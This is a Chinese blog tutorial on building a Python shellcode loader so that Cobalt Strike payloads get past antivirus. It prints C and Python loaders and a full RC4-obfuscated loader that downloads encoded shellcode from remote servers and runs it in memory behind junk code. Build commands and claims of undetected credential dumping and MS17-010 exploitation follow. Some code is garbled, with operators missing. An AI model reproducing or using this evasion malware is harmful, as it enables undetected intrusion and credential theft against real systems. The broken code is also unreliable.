利用python免殺cs shellcode(python免殺處理)
0x01 前言
2019年,告別了coder的世界,告別了從前的生活。我決定暫時拋開金錢至上的價值體系,以一個Fucking loser的身份去尋找人生中的三大哲學問題,我是誰,我在哪兒,我在做什么。褪去了互聯(lián)網行業(yè)的爾虞我詐,輕浮縹緲。在這個鋪天蓋地的泛娛樂時代,我決定去看看大海,去感受下海水的味道,沒錯,它確實是咸的。當沙灘上的沙子鋪滿全身的那一刻,我,擁有了幾分鐘童年。在途中,偶遇了黃河,沒錯,它確實很黃,并且波濤洶涌。也在這途中,緣分使我進入了曾經告別的安全行業(yè)。
0x02 概述
1、什么是shellcode
在維基百科中這樣解釋道:在黑客攻擊中,shellcode是一小段代碼,用于利用軟件漏洞作為有效載荷。它之所以被稱為“shellcode”,是因為它通常啟動一個命令shell,攻擊者可以從這個命令shell控制受損的計算機,但是執(zhí)行類似任務的任何代碼都可以被稱為shellcode。因為有效載荷(payload)的功能不僅限于生成shell,所以有些人認為shellcode的名稱是不夠嚴謹?shù)摹H欢?,試圖取代這一術語的努力并沒有得到廣泛的接受。shellcode通常是用機器碼編寫的。
翻譯成人話就是:shellcode是一段機器碼,用于執(zhí)行某些動作。
2、什么是機器碼
在百度百科中這樣解釋道:計算機直接使用的程序語言,其語句就是機器指令碼,機器指令碼是用于指揮計算機應做的操作和操作數(shù)地址的一組二進制數(shù)。
翻譯成人話就是:直接指揮計算機的機器指令碼。
人們用助記符號代替機器指令碼從而形成了匯編語言,后來為了使計算機用戶編程序更容易,發(fā)展出了各種高級計算機語言。但是,無論是匯編語言還是其他各種面向過程異或面向對象的高級語言所寫的代碼最終都要被相關的翻譯編譯環(huán)境轉換成相應的機器指令碼,計算機才能運行該段代碼,因為計算機只認識機器指令碼。
3、什么是shellcode loader
人話:shellcode loader 是用于加載和運行shellcode的代碼。
C/C 加載方式
#include "pch.h"#include <windows.h>#include <stdio.h>#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")//不顯示窗口unsigned char shellcode[] = "xfcxe8x89x00x00x00x60x89xe5......";void main(){ LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode),MEM_COMMIT | MEM_RESERVE, PAGE_exeCUTE_READWRITE); if (Memory == NULL) { return; } memcpy(Memory, shellcode, sizeof(shellcode)); ((void(*)())Memory)();}
Python 加載方式
#!/usr/bin/pythonimport ctypesshellcode = bytearray("xfcxe8x89x00x00x00x60x89......")ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
當然,shellcode loader的編寫方式很多,匯編,go,csharp以及其他很多語言,這里不在一一舉例,接下來我們進入利用python語言編寫 shellcode loader 以達到靜態(tài)動態(tài)都繞過殺軟的目的。
0x03 為什么使用python
python語言入門門檻低,上手快,且兩三年前就出現(xiàn)了這種免殺方式,但是很多人說網上公開的代碼已經不免殺了。事實真的如此嗎?你有沒有靜下心來code過,是否去了解過相關的原理,是否通過學習到的原理去思維發(fā)散過,是否通過code去fuzz過?如果沒有,你的Cobaltstrike和Metasploit只適合躺在那兒意淫,怪我咯。廢話不多說,進入正題。
0x04 環(huán)境準備
1、python-2.7.17.amd64
下載地址:https://www.python.org/ftp/python/2.7.17/python-2.7.17.amd64.msi
2、pywin32-227.win-amd64-py2.7
下載地址:https://github.com/mhammond/pywin32/releases
3、PyInstaller3.0
下載地址:https://github.com/pyinstaller/pyinstaller/releases
4、簡要說明:
這一套環(huán)境搭配是我經過不斷的實驗和個人喜好總結出來的,安裝方式不在累述,如果你連這點學習能力都沒有話,你還是讓Cobaltstrike和Metasploit躺在那兒意淫吧。個人建議:第一:不要使用pip方式安裝PyInstaller,至于為什么,你多嘗試幾次就知道各種兼容環(huán)境是有多麻煩了。第二:如果你本機還安裝了python3的環(huán)境,如果你怕麻煩,你可以單獨在虛擬機里面安裝這個環(huán)境,因為python3和python2共存,你還得倒騰一會兒,里面的坑還有 pip2 pip3得區(qū)分開等等。愿意倒騰的推薦下面幾篇文章用作參考
https://blog.csdn.net/zydz/article/details/78121936
https://blog.csdn.net/C_chuxin/article/details/82962797
https://blog.csdn.net/qq_34444097/article/details/103027906
0x05 免殺原理
1、:shellcode字符串 不做硬編碼(人話:shellcode字符串不寫死在代碼里面)
2、:shellcode字符串 多種編碼方式混淆
3、:shellcode字符串 加密
4、:添加無危害的代碼執(zhí)行流程擾亂av分析(早些年的花指令免殺思維)
5、:CobaltStrike生成的shellcode是一段下載者,主要功能是下載becon.dll,然后加載進內存,很多功能都在bencon里面,所以說cs的shellcode其實不具備多少危險動作的,但是它為什么會被殺毒軟件查殺呢,那是因為殺毒軟件利用一些算法例如模糊哈希算法(Fuzzy Hashing)提取出來了特征碼。
6:CobaltStrike自身是用的管道進行進程通信。
目前的反病毒安全軟件,常見有三種,一種基于特征,一種基于行為,一種基于云查殺。云查殺的特點基本也可以概括為特征查殺。
根據我fuzz得出的結論:動態(tài)行為查殺真的不好過么?答案是否定的:CobaltStrike的管道通信模式加上將花指令免殺思維運用在高級語言層面上一樣有效,人話就是在shellcode loader的代碼層面加一些正常的代碼,讓exe本身擁有正常的動作,擾亂av的判斷,當然這個的前提是因為我們站在了CobaltStrike的管道通信模式的優(yōu)勢上。靜態(tài)查殺好過么?答案是:好過,shellcode不落地 CobaltStrike本身的管道通信模式 shellcode字符串各種組合的編碼 加密。云查殺的特點約等于特征查殺,好過。
總結:本文所闡述的粗略且淺顯的免殺方法都是站在CobaltStrike強大的肩膀上實現(xiàn)的。
0x06 show you the code
from ctypes import *import ctypesimport sys, os, hashlib, time, base64import random, stringimport requestsimport time# 獲取隨機字符串函數(shù),減少特征def GenPassword(length): numOfNum = random.randint(1,length-1) numOfLetter = length - numOfNum slcNum = [random.choice(string.digits) for i in range(numOfNum)] slcLetter = [random.choice(string.ascii_letters) for i in range(numOfLetter)] slcChar = slcNum slcLetter random.shuffle(slcChar) getPwd = ''.join([i for i in slcChar]) return getPwd# rc4加解密函數(shù),public_key(公鑰)使用GenPassword函數(shù),減少特征def rc4(string, op='encode', public_key=GenPassword(7), expirytime=0): ckey_lenth = 4 public_key = public_key and public_key or '' key = hashlib.md5(public_key).hexdigest() keya = hashlib.md5(key[0:16]).hexdigest() keyb = hashlib.md5(key[16:32]).hexdigest() keyc = ckey_lenth and (op == 'decode' and string[0:ckey_lenth] or hashlib.md5(str(time.time())).hexdigest()[32 - ckey_lenth:32]) or '' cryptkey = keya hashlib.md5(keya keyc).hexdigest() key_lenth = len(cryptkey) # 64 string = op == 'decode' and base64.b64decode(string[4:]) or '0000000000' hashlib.md5(string keyb).hexdigest()[0:16] string string_lenth = len(string) result = '' box = list(range(256)) randkey = [] for i in xrange(255): randkey.append(ord(cryptkey[i % key_lenth])) for i in xrange(255): j = 0 j = (j box[i] randkey[i]) % 256 tmp = box[i] box[i] = box[j] box[j] = tmp for i in xrange(string_lenth): a = j = 0 a = (a 1) % 256 j = (j box[a]) % 256 tmp = box[a] box[a] = box[j] box[j] = tmp result = chr(ord(string[i]) ^ (box[(box[a] box[j]) % 256])) if op == 'decode': if (result[0:10] == '0000000000' or int(result[0:10]) - int(time.time()) > 0) and result[10:26] == hashlib.md5( result[26:] keyb).hexdigest()[0:16]: return result[26:] else: return None else: return keyc base64.b64encode(result)# 以下為shellcode loader代碼# shellcode字符串經過base64編碼再經過hex編碼分成三塊,存放在某幾個服務器上# get請求方式得到經過編碼的shellcode字符串res1 = requests.get("http://xxx.xxx.xxx/code/Shellcode1.TXT")res2 = requests.get("http://xxx.xxx.xxx/code/Shellcode2.TXT")res3 = requests.get("http://xxx.xxx.xxx/code/Shellcode3.TXT")VirtualAlloc = ctypes.windll.kernel32.VirtualAllocVirtualProtect = ctypes.windll.kernel32.VirtualProtectwhnd = ctypes.windll.kernel32.GetConsoleWindow()rcpw = GenPassword(13)# 得到經過編碼后的shellcode字符串后進行rc4加密,私鑰通過GenPassword()函數(shù)得到# 以此減少特碼,達到內存中不暴露shellcode原始字符串buf = rc4(base64.b64decode(res1.text res2.text res3.text).decode('hex'),'encode',rcpw)rc4(res2.text,'encode',GenPassword(13))# 干擾代碼if whnd != 0: if GenPassword(6) != GenPassword(7):#干擾代碼 ctypes.windll.user32.ShowWindow(whnd, 0) ctypes.windll.kernel32.CloseHandle(whnd)# 解密shellcodescode = bytearray(rc4(buf, 'decode', rcpw))rc4(res2.text res1.text,'encode',GenPassword(13))# 干擾代碼# 申請可讀可寫不可執(zhí)行的內存memHscode = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(scode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))rc4(res1.text,'encode',GenPassword(13))# 干擾代碼buf = (ctypes.c_char * len(scode)).from_buffer(scode)old = ctypes.c_long(1)# 使用VirtualProtect將shellcode的內存區(qū)塊設置為可執(zhí)行,所謂的漸進式加載模式VirtualProtect(memHscode, ctypes.c_int(len(scode)), 0x40, ctypes.byref(old))ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memHscode), buf, ctypes.c_int(len(scode)))fuck=rc4(GenPassword(7),'encode',GenPassword(13))# 干擾代碼runcode = cast(memHscode, CFUNCTYPE(c_void_p))# 創(chuàng)建 shellcode 的函數(shù)指針fuck=rc4(GenPassword(7),'encode',GenPassword(13))# 干擾代碼runcode()# 執(zhí)行
0x07 利用PyInstaller編譯
1、不指定圖標的編譯方式
python2 PyInstaller.py --noconsole --onefile cscs.py
2、指定圖標的編譯方式
python2 PyInstaller.py --noconsole --icon csicon.ico --onefile cscs.py
0x08 成果檢驗
1、測試環(huán)境
【win10專業(yè)版 windows defender】【win7 企業(yè)版 360全家桶 火絨】【微步云沙箱】【virustotal.com】
3、微步云沙箱
4、virustotal
5、動態(tài)行為檢測
在win7企業(yè)版上 360全家桶 火絨全部更新到最新的情況下測試
Cobalt Strike成功上線,且360 火絨沒有任何攔截或者提示的行為
當然這都是沒用的,接下來看看使用cs的功能時,會怎么樣
1、logonpasswords
一切正常,且殺軟沒有任何攔截與提示
2、查看進程列表
3、屏幕截圖
當然,這都是些沒用的,接下來,來點刺激的。
4、ms17010
ms17010打得也流暢。且360全家桶 火絨沒有任何攔截 提示。
5、聯(lián)動Metasploit
win10專業(yè)版 windows denfender
附上一張曾經測試時忘了替換vps的ip之后的事情。。。
由于我們上傳了微步云沙箱以及virustotal.com,樣本就會被各大殺軟廠家拿去分析,提煉出特征碼,以及研究防御姿勢,所以建議大家測試的時候自己搭虛擬機測試吧,不然你的vps就得換了(ip地址會被標記),而且自己fuzz出來的姿勢很快就會被提煉出特征碼。那為什么我愿意 show you the code呢?因為就算公開的代碼被提取了特征碼,自己再改改就不殺了啊,就這么簡單。
0x09 總結
此種方式的缺點:單文件體積過大,go語言比較小,veil里面有使用go進行免殺的,單文件體積在800kb左右,如果你學過go的語法,建議你利用go語言來免殺,具體操作,你可以在使用veil時,把它生成的go源碼拿出來,結合本文所提及或者其他姿勢發(fā)散你的思維,也能做出很好的效果。當然我首薦:C/C
實操首選合天網安實驗室,今天推薦實驗:《實驗:Shellcode編寫練習(合天網安實驗室)》,點擊鏈接開始做實驗吧!